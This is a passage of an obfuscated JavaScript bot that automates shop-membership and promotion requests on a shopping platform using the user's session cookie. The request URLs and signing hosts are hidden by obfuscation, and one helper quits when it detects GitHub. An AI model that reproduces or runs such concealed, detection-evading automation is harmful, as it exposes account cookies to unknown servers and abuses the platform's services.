_0x272625();},'ROXIs':_0x551f('‫196'),'ykjAs':_0x551f('‫197'),'gPNiO':_0x551f('‮198'),'gIZlo':_0x551f('‫fd'),'ogMoM':_0x551f('‫199'),'UyLoF':_0x551f('‫f9'),'NHnXp':_0x551f('‮19a'),'WByAL':_0x551f('‫fa')};const _0x53fb67={'url':_0x4516d0[_0x551f('‮19b')],'headers':{'Host':_0x4516d0[_0x551f('‫19c')],'Accept':_0x4516d0[_0x551f('‫19d')],'Connection':_0x4516d0[_0x551f('‫19e')],'Cookie':cookie,'User-Agent':_0x4516d0[_0x551f('‮19f')],'Accept-Language':_0x4516d0[_0x551f('‮1a0')],'Referer':_0x4516d0[_0x551f('‫1a1')],'Accept-Encoding':_0x4516d0[_0x551f('‮1a2')]}};return new Promise(_0x4e54a1=>{var _0x579792={'NrGKH':_0x4516d0[_0x551f('‫1a3')],'nvZHh':_0x4516d0[_0x551f('‫1a4')],'WLToG':function(_0x466480,_0x43a4f1){return _0x4516d0[_0x551f('‮1a5')](_0x466480,_0x43a4f1);},'mdjWl':_0x4516d0[_0x551f('‮1a6')],'WAaNH':function(_0x2ebb2e,_0x5d7b35){return _0x4516d0[_0x551f('‫1a7')](_0x2ebb2e,_0x5d7b35);},'nKTts':_0x4516d0[_0x551f('‮1a8')],'oFiZU':_0x4516d0[_0x551f('‫1a9')],'MIaPo':function(_0x298963,_0x1687c3){return _0x4516d0[_0x551f('‫1a7')](_0x298963,_0x1687c3);},'bhILv':_0x4516d0[_0x551f('‫1aa')],'LBGFB':_0x4516d0[_0x551f('‫1ab')],'NUxhC':function(_0x3c2138,_0x2131a9){return _0x4516d0[_0x551f('‮1ac')](_0x3c2138,_0x2131a9);},'kxMyY':_0x4516d0[_0x551f('‮1ad')],'HyzWt':function(_0x85051e){return _0x4516d0[_0x551f('‮1ae')](_0x85051e);}};$[_0x551f('‮b9')](_0x53fb67,(_0x31f2d2,_0x29935c,_0x494f16)=>{try{if(_0x31f2d2){$[_0x551f('‮c3')](_0x31f2d2);}else{if(_0x494f16){_0x494f16=JSON[_0x551f('‫e')](_0x494f16);if(_0x579792[_0x551f('‫1af')](_0x494f16[_0x551f('‮17d')],_0x579792[_0x551f('‫1b0')])){$[_0x551f('‫34')]=![];return;}if(_0x579792[_0x551f('‮1b1')](_0x494f16[_0x551f('‮17d')],'0')&&_0x494f16[_0x551f('‮dd')][_0x551f('‫17f')](_0x579792[_0x551f('‮1b2')])){$[_0x551f('‫35')]=_0x494f16[_0x551f('‮dd')][_0x551f('‮142')][_0x551f('‫181')][_0x551f('‫e2')];}}else{$[_0x551f('‫b')](_0x579792[_0x551f('‫1b3')]);}}}catch(_0x2ad656){if(_0x579792[_0x551f('‮1b4')](_0x579792[_0x551f('‫1b5')],_0x579792[_0x551f('‮1b6')])){$[_0x551f('‫e2')]=_0x494f16[_0x551f('‮dd')][_0x551f('‫e2')];$[_0x551f('‮ef')]=_0x494f16[_0x551f('‮dd')][_0x551f('‫ea')];}else{$[_0x551f('‮c3')](_0x2ad656);}}finally{if(_0x579792[_0x551f('‮1b7')](_0x579792[_0x551f('‫1b8')],_0x579792[_0x551f('‫1b8')])){for(let _0x1a5687 of _0x29935c[_0x579792[_0x551f('‫1b9')]][_0x579792[_0x551f('‫1ba')]]){cookie=''+cookie+_0x1a5687[_0x551f('‫60')](';')[0x0]+';';}}else{_0x579792[_0x551f('‫1bb')](_0x4e54a1);}}});});}function getShopOpenCardInfo(_0x341195,_0x16756e){var _0xc0474a={'SXFed':function(_0x318d54){return _0x318d54();},'oOIPB':_0x551f('‮15'),'bVblz':_0x551f('‫16'),'nuWrl':function(_0x59db8e,_0x3e5ab2){return _0x59db8e===_0x3e5ab2;},'luEkE':_0x551f('‮1bc'),'LZbKb':_0x551f('‫1bd'),'eJsYf':function(_0x20f1b0){return _0x20f1b0();},'yXwCb':function(_0x53fc00,_0x20dbde){return _0x53fc00!==_0x20dbde;},'nZTIY':_0x551f('‫1be'),'pteLY':function(_0x54c628,_0x398bbb){return _0x54c628(_0x398bbb);},'vEqlU':_0x551f('‮1bf'),'Cpazz':_0x551f('‮198'),'gceXn':_0x551f('‫fd'),'CAHiT':_0x551f('‫f9'),'rGDjL':_0x551f('‫fa')};let _0x1f8bf2={'url':_0x551f('‫1c0')+_0xc0474a[_0x551f('‮1c1')](encodeURIComponent,JSON[_0x551f('‮f1')](_0x341195))+_0x551f('‮1c2'),'headers':{'Host':_0xc0474a[_0x551f('‮1c3')],'Accept':_0xc0474a[_0x551f('‮1c4')],'Connection':_0xc0474a[_0x551f('‮1c5')],'Cookie':cookie,'User-Agent':_0x551f('‫107')+$[_0x551f('‮49')]+_0x551f('‮108')+$[_0x551f('‫46')]+_0x551f('‮109'),'Accept-Language':_0xc0474a[_0x551f('‮1c6')],'Referer':_0x551f('‮1c7')+_0x16756e+_0x551f('‫1c8')+_0xc0474a[_0x551f('‮1c1')](encodeURIComponent,$[_0x551f('‫50')]),'Accept-Encoding':_0xc0474a[_0x551f('‫1c9')]}};return new Promise(_0x58955d=>{var _0x29d42a={'ztTmy':_0xc0474a[_0x551f('‫1ca')],'VAwAK':_0xc0474a[_0x551f('‮1cb')],'JVKgn':function(_0x4ecb81,_0x10eb70){return _0xc0474a[_0x551f('‮1cc')](_0x4ecb81,_0x10eb70);},'KpKca':_0xc0474a[_0x551f('‫1cd')],'HuwdV':_0xc0474a[_0x551f('‮1ce')],'XYUJN':function(_0xbd164f){return _0xc0474a[_0x551f('‫1cf')](_0xbd164f);}};if(_0xc0474a[_0x551f('‫1d0')](_0xc0474a[_0x551f('‮1d1')],_0xc0474a[_0x551f('‮1d1')])){_0xc0474a[_0x551f('‮1d2')](_0x58955d);}else{$[_0x551f('‮b9')](_0x1f8bf2,(_0x5ab845,_0x196805,_0x3ff326)=>{try{if(_0x5ab845){console[_0x551f('‫b')](_0x5ab845);}else{res=JSON[_0x551f('‫e')](_0x3ff326);if(res[_0x551f('‫138')]){$[_0x551f('‮58')]=res[_0x551f('‫d8')][_0x551f('‮142')][_0x551f('‮58')];if(res[_0x551f('‫d8')][_0x551f('‫1d3')]){$[_0x551f('‮ae')]=res[_0x551f('‫d8')][_0x551f('‫1d3')][0x0][_0x551f('‫1d4')][_0x551f('‫24')];}}}}catch(_0x23336f){if(_0x29d42a[_0x551f('‮1d5')](_0x29d42a[_0x551f('‫1d6')],_0x29d42a[_0x551f('‫1d7')])){for(let _0xcc5f36 of _0x196805[_0x29d42a[_0x551f('‫1d8')]][_0x29d42a[_0x551f('‮1d9')]][_0x551f('‫60')](',')){cookie=''+cookie+_0xcc5f36[_0x551f('‫60')](';')[0x0]+';';}}else{console[_0x551f('‫b')](_0x23336f);}}finally{_0x29d42a[_0x551f('‮1da')](_0x58955d);}});}});}async function bindWithVender(_0x5477c3,_0x153c7b){var _0x217b01={'TaLrH':function(_0x54754b,_0x176a11){return _0x54754b!==_0x176a11;},'Sllah':_0x551f('‫1db'),'hQjmh':_0x551f('‮1dc'),'XMGxp':function(_0x5a2f28,_0x56b876){return _0x5a2f28===_0x56b876;},'gMkGD':_0x551f('‮1dd'),'ypsOu':function(_0x447f6e){return _0x447f6e();},'neazZ':function(_0xa04df6,_0x10dbe8){return _0xa04df6(_0x10dbe8);},'PFQCQ':function(_0x550615,_0x336f3c){return _0x550615===_0x336f3c;},'gRpuv':_0x551f('‮1de'),'DsRZc':_0x551f('‮1df'),'sjLHB':function(_0x99de74,_0x21f8e6,_0x4673dc){return _0x99de74(_0x21f8e6,_0x4673dc);},'VkpLd':_0x551f('‮1e0'),'ihpqC':_0x551f('‮1bf'),'poOUs':_0x551f('‮198'),'mcTNh':_0x551f('‫fd'),'cKWBJ':_0x551f('‫f9'),'nbtvy':function(_0x5dc0af,_0x50f166){return _0x5dc0af(_0x50f166);},'CSQtn':_0x551f('‫fa')};return h5st=await _0x217b01[_0x551f('‮1e1')](geth5st,_0x217b01[_0x551f('‫1e2')],_0x5477c3),opt={'url':_0x551f('‫1e3')+h5st,'headers':{'Host':_0x217b01[_0x551f('‫1e4')],'Accept':_0x217b01[_0x551f('‮1e5')],'Connection':_0x217b01[_0x551f('‮1e6')],'Cookie':cookie,'User-Agent':_0x551f('‫107')+$[_0x551f('‮49')]+_0x551f('‮108')+$[_0x551f('‫46')]+_0x551f('‮109'),'Accept-Language':_0x217b01[_0x551f('‮1e7')],'Referer':_0x551f('‮1c7')+_0x153c7b+_0x551f('‮1e8')+_0x217b01[_0x551f('‫1e9')](encodeURIComponent,$[_0x551f('‫50')]),'Accept-Encoding':_0x217b01[_0x551f('‫1ea')]}},new Promise(_0x28c0ba=>{var _0x249b81={'NpDUU':function(_0x271da9,_0x52edc8){return _0x217b01[_0x551f('‮1eb')](_0x271da9,_0x52edc8);}};if(_0x217b01[_0x551f('‮1ec')](_0x217b01[_0x551f('‫1ed')],_0x217b01[_0x551f('‫1ee')])){_0x249b81[_0x551f('‮1ef')](_0x28c0ba,data);}else{$[_0x551f('‮b9')](opt,(_0x1fa57f,_0x5d5b19,_0x5a56e8)=>{try{if(_0x1fa57f){if(_0x217b01[_0x551f('‫1f0')](_0x217b01[_0x551f('‮1f1')],_0x217b01[_0x551f('‫1f2')])){console[_0x551f('‫b')](_0x1fa57f);}else{res=JSON[_0x551f('‫e')](_0x5a56e8);if(res[_0x551f('‫138')]){console[_0x551f('‫b')](res);$[_0x551f('‫98')]=res[_0x551f('‮139')];}}}else{res=JSON[_0x551f('‫e')](_0x5a56e8);if(res[_0x551f('‫138')]){console[_0x551f('‫b')](res);$[_0x551f('‫98')]=res[_0x551f('‮139')];}}}catch(_0x119fb7){if(_0x217b01[_0x551f('‫1f3')](_0x217b01[_0x551f('‫1f4')],_0x217b01[_0x551f('‫1f4')])){console[_0x551f('‫b')](_0x119fb7);}else{console[_0x551f('‫b')](_0x1fa57f);}}finally{_0x217b01[_0x551f('‮1f5')](_0x28c0ba);}});}});}function geth5st(_0x21b231,_0x5a3a59){var _0x8535ff={'sXzFX':function(_0x190c0,_0x3bef69){return _0x190c0===_0x3bef69;},'qnmpE':_0x551f('‮1f6'),'vQmKr':function(_0xc6e186,_0x55c4d3){return _0xc6e186(_0x55c4d3);},'onTLw':_0x551f('‫1f7'),'qJCSb':_0x551f('‫1f8'),'GGSOF':_0x551f('‮1f9'),'QoVwn':_0x551f('‮1fa'),'XqsMC':function(_0x406208,_0x5e6415){return _0x406208*_0x5e6415;},'VpeOA':_0x551f('‫f7'),'FFqjb':function(_0x352773,_0x6a1c8c){return _0x352773*_0x6a1c8c;}};return new Promise(async _0xfd4438=>{let _0x99c1b2={'appId':_0x8535ff[_0x551f('‫1fb')],'body':{'appid':_0x8535ff[_0x551f('‮1fc')],'functionId':_0x21b231,'body':JSON[_0x551f('‮f1')](_0x5a3a59),'clientVersion':_0x8535ff[_0x551f('‫1fd')],'client':'H5','activityId':$[_0x551f('‫24')]},'callbackAll':!![]};let _0x168166='';let _0x1109c9=[_0x8535ff[_0x551f('‮1fe')]];if(process[_0x551f('‫8')][_0x551f('‮16a')]){_0x168166=process[_0x551f('‫8')][_0x551f('‮16a')];}else{_0x168166=_0x1109c9[Math[_0x551f('‫184')](_0x8535ff[_0x551f('‫1ff')](Math[_0x551f('‫186')](),_0x1109c9[_0x551f('‫2e')]))];}let _0x5d4f37={'url':_0x551f('‫200'),'body':JSON[_0x551f('‮f1')](_0x99c1b2),'headers':{'Host':_0x168166,'Content-Type':_0x8535ff[_0x551f('‫201')]},'timeout':_0x8535ff[_0x551f('‫202')](0x1e,0x3e8)};$[_0x551f('‫d1')](_0x5d4f37,async(_0x294da8,_0x3e6741,_0x99c1b2)=>{try{if(_0x8535ff[_0x551f('‫203')](_0x8535ff[_0x551f('‮204')],_0x8535ff[_0x551f('‮204')])){if(_0x294da8){_0x99c1b2=await geth5st[_0x551f('‮205')](this,arguments);}else{}}else{cookie=''+cookie+sk[_0x551f('‫60')](';')[0x0]+';';}}catch(_0x5beb10){$[_0x551f('‮c3')](_0x5beb10,_0x3e6741);}finally{_0x8535ff[_0x551f('‫206')](_0xfd4438,_0x99c1b2);}});});}async function getToken(){var _0x5f0ec2={'TeOMz':function(_0x1a3327,_0x216cbf){return _0x1a3327(_0x216cbf);},'LVqvI':function(_0x5da871,_0x52e4d6){return _0x5da871!==_0x52e4d6;},'WGPOr':_0x551f('‮207'),'rfRvN':_0x551f('‫208'),'uJNrI':_0x551f('‫209'),'ZNSoD':function(_0x3dedd8,_0x1ab1fb){return _0x3dedd8===_0x1ab1fb;},'nJAbB':_0x551f('‫20a'),'SjTCf':_0x551f('‫20b'),'JuAky':function(_0x741f44,_0x4387a7){return _0x741f44===_0x4387a7;},'gxHUq':_0x551f('‫b1'),'oRpAk':function(_0x5073b1){return _0x5073b1();},'uSKeA':function(_0x1d0d50,_0x2d2b16){return _0x1d0d50+_0x2d2b16;},'MgzWD':function(_0x4775b5,_0x20d276){return _0x4775b5*_0x20d276;},'QbKld':function(_0x226ea4,_0x54c5e0){return _0x226ea4-_0x54c5e0;},'dDZWn':function(_0x27f01a,_0x139ad4){return _0x27f01a!==_0x139ad4;},'equzc':_0x551f('‮20c'),'OOCrn':function(_0x50feaf,_0x2a3da3,_0x5be601){return _0x50feaf(_0x2a3da3,_0x5be601);},'zQVZs':_0x551f('‮20d'),'PJnDL':_0x551f('‮20e'),'sGxFp':_0x551f('‮1bf'),'OTUPc':_0x551f('‫fb'),'zGdXN':_0x551f('‮198'),'tuXtB':_0x551f('‫fd'),'dFNME':_0x551f('‮20f'),'kkQAM':_0x551f('‮210'),'aeeRm':_0x551f('‫fa')};let _0x590b7f=await _0x5f0ec2[_0x551f('‫211')](getSign,_0x5f0ec2[_0x551f('‫212')],{'id':'','url':_0x5f0ec2[_0x551f('‮213')]});let _0x202510={'url':_0x551f('‫214'),'headers':{'Host':_0x5f0ec2[_0x551f('‮215')],'Content-Type':_0x5f0ec2[_0x551f('‫216')],'Accept':_0x5f0ec2[_0x551f('‮217')],'Connection':_0x5f0ec2[_0x551f('‫218')],'Cookie':cookie,'User-Agent':_0x5f0ec2[_0x551f('‫219')],'Accept-Language':_0x5f0ec2[_0x551f('‮21a')],'Accept-Encoding':_0x5f0ec2[_0x551f('‮21b')]},'body':_0x590b7f};return new Promise(_0x135410=>{var _0x4a1734={'cIksH':function(_0x300a14,_0x1334b8){return _0x5f0ec2[_0x551f('‫21c')](_0x300a14,_0x1334b8);},'rFEqR':function(_0x421064,_0x263260){return _0x5f0ec2[_0x551f('‫21d')](_0x421064,_0x263260);},'tMUqH':function(_0x346c39,_0x556394){return _0x5f0ec2[_0x551f('‫21e')](_0x346c39,_0x556394);}};if(_0x5f0ec2[_0x551f('‫21f')](_0x5f0ec2[_0x551f('‫220')],_0x5f0ec2[_0x551f('‫220')])){$[_0x551f('‮c3')](e,resp);data=null;}else{$[_0x551f('‫d1')](_0x202510,(_0x165e7a,_0x8656e9,_0x2bb1bb)=>{var _0x21fa5a={'rLzML':function(_0x3f996d,_0x1e16a4){return _0x5f0ec2[_0x551f('‫221')](_0x3f996d,_0x1e16a4);}};if(_0x5f0ec2[_0x551f('‫222')](_0x5f0ec2[_0x551f('‮223')],_0x5f0ec2[_0x551f('‮223')])){_0x21fa5a[_0x551f('‮224')](_0x135410,_0x2bb1bb);}else{try{if(_0x5f0ec2[_0x551f('‫222')](_0x5f0ec2[_0x551f('‮225')],_0x5f0ec2[_0x551f('‫226')])){if(_0x165e7a){$[_0x551f('‫b')](_0x165e7a);}else{if(_0x2bb1bb){if(_0x5f0ec2[_0x551f('‮227')](_0x5f0ec2[_0x551f('‫228')],_0x5f0ec2[_0x551f('‮229')])){cookie=''+cookie+ck[_0x551f('‫60')](';')[0x0]+';';}else{_0x2bb1bb=JSON[_0x551f('‫e')](_0x2bb1bb);if(_0x5f0ec2[_0x551f('‮22a')](_0x2bb1bb[_0x551f('‫178')],'0')){$[_0x551f('‫79')]=_0x2bb1bb[_0x551f('‫79')];}}}else{$[_0x551f('‫b')](_0x5f0ec2[_0x551f('‮22b')]);}}}else{return _0x4a1734[_0x551f('‮22c')](Math[_0x551f('‫184')](_0x4a1734[_0x551f('‮22d')](Math[_0x551f('‫186')](),_0x4a1734[_0x551f('‮22e')](max,min))),min);}}catch(_0x26dce0){$[_0x551f('‫b')](_0x26dce0);}finally{_0x5f0ec2[_0x551f('‫22f')](_0x135410);}}});}});}function getSign(_0x36b07d,_0x320171){var _0x11e0e1={'tGfJq':function(_0x4d72fa,_0x48a97d){return _0x4d72fa*_0x48a97d;},'qQrnW':function(_0x59a6ad,_0x45652c){return _0x59a6ad===_0x45652c;},'JXoOa':_0x551f('‮230'),'XaKGc':function(_0x554fe1,_0xd6d444){return _0x554fe1!==_0xd6d444;},'gPXYw':_0x551f('‫231'),'MHIZj':function(_0xe9865b,_0x5c024c){return _0xe9865b(_0x5c024c);},'cygse':function(_0x117a98,_0x78f180){return _0x117a98!==_0x78f180;},'KoFOk':_0x551f('‫232'),'ZKRkW':_0x551f('‮1fa'),'gItjd':_0x551f('‮b6'),'vkOqy':function(_0x1870ff,_0x170e22){return _0x1870ff*_0x170e22;}};return new Promise(async _0x11ea34=>{var _0x15cade={'TscJl':function(_0x2f4d0a,_0x2dcfb2){return _0x11e0e1[_0x551f('‮233')](_0x2f4d0a,_0x2dcfb2);},'LaSHN':function(_0x2135db,_0x2f87ae){return _0x11e0e1[_0x551f('‮234')](_0x2135db,_0x2f87ae);},'LoqlB':_0x11e0e1[_0x551f('‫235')],'uDOxU':function(_0x3bae26,_0x19fd8c){return _0x11e0e1[_0x551f('‫236')](_0x3bae26,_0x19fd8c);},'ZbTSh':_0x11e0e1[_0x551f('‫237')],'PBokS':function(_0x2484a7,_0x4d0c50){return _0x11e0e1[_0x551f('‫238')](_0x2484a7,_0x4d0c50);}};if(_0x11e0e1[_0x551f('‫239')](_0x11e0e1[_0x551f('‫23a')],_0x11e0e1[_0x551f('‫23a')])){$[_0x551f('‮c3')](e);}else{let _0x272e7e={'functionId':_0x36b07d,'body':JSON[_0x551f('‮f1')](_0x320171),'activityId':$[_0x551f('‫24')]};let _0x4cbd78='';let _0x29be4a=[_0x11e0e1[_0x551f('‮23b')]];if(process[_0x551f('‫8')][_0x551f('‮16a')]){_0x4cbd78=process[_0x551f('‫8')][_0x551f('‮16a')];}else{_0x4cbd78=_0x29be4a[Math[_0x551f('‫184')](_0x11e0e1[_0x551f('‮233')](Math[_0x551f('‫186')](),_0x29be4a[_0x551f('‫2e')]))];}let _0x4cb4e3={'url':_0x551f('‮23c'),'body':JSON[_0x551f('‮f1')](_0x272e7e),'headers':{'Host':_0x4cbd78,'User-Agent':_0x11e0e1[_0x551f('‮23d')]},'timeout':_0x11e0e1[_0x551f('‮23e')](0x1e,0x3e8)};$[_0x551f('‫d1')](_0x4cb4e3,(_0x578efd,_0x355c26,_0x272e7e)=>{var _0x13791c={'dgwqh':function(_0x191a78,_0x3b162c){return _0x15cade[_0x551f('‮23f')](_0x191a78,_0x3b162c);}};if(_0x15cade[_0x551f('‮240')](_0x15cade[_0x551f('‫241')],_0x15cade[_0x551f('‫241')])){try{if(_0x578efd){if(_0x15cade[_0x551f('‮242')](_0x15cade[_0x551f('‮243')],_0x15cade[_0x551f('‮243')])){$[_0x551f('‮c3')](_0x578efd);}else{console[_0x551f('‫b')](''+JSON[_0x551f('‮f1')](_0x578efd));console[_0x551f('‫b')]($[_0x551f('‫29')]+_0x551f('‮169'));}}else{}}catch(_0x26056e){$[_0x551f('‮c3')](_0x26056e,_0x355c26);}finally{_0x15cade[_0x551f('‫244')](_0x11ea34,_0x272e7e);}}else{_0x4cbd78=_0x29be4a[Math[_0x551f('‫184')](_0x13791c[_0x551f('‫245')](Math[_0x551f('‫186')](),_0x29be4a[_0x551f('‫2e')]))];}});}});};_0xod8='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && 